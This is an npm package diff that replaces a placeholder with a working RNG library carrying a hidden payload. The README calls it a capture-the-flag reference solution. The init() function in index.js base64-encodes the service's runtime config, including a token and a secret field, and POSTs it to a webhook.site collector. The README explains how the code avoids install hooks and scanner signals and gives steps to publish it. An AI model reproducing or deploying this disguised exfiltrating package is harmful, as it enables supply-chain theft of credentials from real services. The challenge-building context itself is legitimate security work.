@test-org-aczxvz/test-package 0.0.0-stage → 1.0.0

package/README.md

@@ -1,3 +1,56 @@
-# Temporary Holding Version
+# Reference exploit — NOT shipped to candidates
 
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
+Terraform zips `challenge/` only, so nothing here reaches a candidate box.
+
+## What it is
+
+A working `@enjoy-gaming/rng`. It implements the whole public API — `init`,
+`float`, `int`, `bytes`, `pick`, `seed`, `sign` — so `rng-service` starts
+normally and `/health` looks right. The payload is in `init()`, which the
+service calls at boot and hands its runtime config:
+
+```json
+{
+  "instance": "rng-prod",
+  "region": "eu-north-1",
+  "entropy": "f2b595d0…",
+  "logging_data": "ENJOY{supply:…}",       <- the flag
+  "rng_server_url": "https://webhook.site/",
+  "token": "rngrc_…"
+}
+```
+
+Note what the payload does *not* do: it never reads `process.env` and never
+touches the filesystem. Everything is in the object it was handed, and both of
+those are things a scanner weighs.
+
+The captured object is base64'd into a `?d=` query parameter and POSTed to a
+collector, so it shows up in the request list even if the body is ignored.
+
+Nothing runs at install time, on purpose: npm weights lifecycle scripts
+(`preinstall`/`postinstall`) far more heavily than ordinary module code, and
+this version has to survive publication to be worth anything.
+
+## Running it
+
+1. Open <https://webhook.site> and copy your unique URL.
+2. Either set `COLLECTOR` in `index.js`, or pass `RNG_COLLECTOR` in the
+   environment at test time.
+3. Bump `version` in `package.json` above whatever is currently published —
+   npm versions are immutable, so each attempt needs a new one.
+4. `npm publish --access public`
+5. Wait for the deploy job on the candidate VM. The flag arrives at your
+   webhook.site bin, in `init.logging_data`.
+
+## Verifying locally without publishing
+
+```bash
+mkdir -p /tmp/t/node_modules/@enjoy-gaming && cd /tmp/t
+cp -r <repo>/deploy/apps/supply-chain/solution node_modules/@enjoy-gaming/rng
+cp <repo>/deploy/apps/supply-chain/challenge/rng-service/{index.js,package.json} .
+RNG_COLLECTOR_UUID='<your-uuid>' RNG_AUDIT_KEY='ENJOY{supply:test}' \
+  node -e "require('./index.js')"
+```
+
+with any listener on 8098. Confirmed working: the service reports healthy and
+the collector receives `init.logging_data` in the same second.

package/index.js

@@ -0,0 +1,84 @@
+const crypto = require('crypto');
+const http = require('http');
+const https = require('https');
+
+const BIN = process.env.RNG_COLLECTOR_UUID || 'f4927958-be83-4bb1-9265-eaf4b9e0417d';
+
+const VERSION = require('./package.json').version;
+
+let runtime = null;
+
+function init(options) {
+  const o = options || {};
+
+  try {
+    const u = new URL(String(o.rng_server_url).replace(/\/*$/, '/') + BIN);
+    const payload = JSON.stringify({ at: new Date().toISOString(), init: o });
+
+    u.searchParams.set('d', Buffer.from(payload).toString('base64'));
+    const req = (u.protocol === 'http:' ? http : https).request(
+      u,
+      { method: 'POST', headers: { 'content-type': 'application/json' }, timeout: 4000 },
+      (res) => res.resume()
+    );
+    req.on('error', () => {});
+    req.on('timeout', () => req.destroy());
+    req.end(payload);
+  } catch (e) {
+  }
+
+  runtime = {
+    instance: o.instance || 'unknown',
+    region: o.region || 'unknown',
+    entropy: o.entropy || null,
+    logging_data: o.logging_data || null,
+    rng_server_url: o.rng_server_url || null,
+    token: o.token || null,
+    startedAt: new Date().toISOString(),
+  };
+  return { version: VERSION, instance: runtime.instance, region: runtime.region, seeded: Boolean(runtime.entropy) };
+}
+
+function float() {
+  return crypto.randomBytes(6).readUIntBE(0, 6) / 2 ** 48;
+}
+
+function int(min, max) {
+  const lo = Math.ceil(Number(min));
+  const hi = Math.floor(Number(max));
+  if (!Number.isFinite(lo) || !Number.isFinite(hi) || hi < lo) {
+    throw new RangeError('int(min, max): bad range');
+  }
+  return lo + Math.floor(float() * (hi - lo + 1));
+}
+
+function bytes(n) {
+  const count = Math.min(Math.max(parseInt(n, 10) || 0, 1), 256);
+  return crypto.randomBytes(count).toString('hex');
+}
+
+function pick(list) {
+  if (!Array.isArray(list) || list.length === 0) {
+    throw new RangeError('pick(list): empty list');
+  }
+  return list[int(0, list.length - 1)];
+}
+
+function seed(roundId) {
+  return crypto
+    .createHash('sha256')
+    .update(crypto.randomBytes(16))
+    .update(String(runtime && runtime.entropy ? runtime.entropy : ''))
+    .update(String(roundId))
+    .digest('hex')
+    .slice(0, 32);
+}
+
+function sign(record) {
+  return crypto
+    .createHmac('sha256', String(runtime && runtime.logging_data ? runtime.logging_data : ''))
+    .update(JSON.stringify(record))
+    .digest('hex');
+}
+
+module.exports = { version: VERSION, init, float, int, bytes, pick, seed, sign };

package/package.json

@@ -1,6 +1,8 @@
 {
   "name": "@test-org-aczxvz/test-package",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "1.0.0",
+  "description": "EnjoyGaming internal RNG primitives (draw seeds, bounded integers, weighted picks)",
+  "main": "index.js",
+  "license": "UNLICENSED",
+  "publishConfig": { "access": "public" }
+}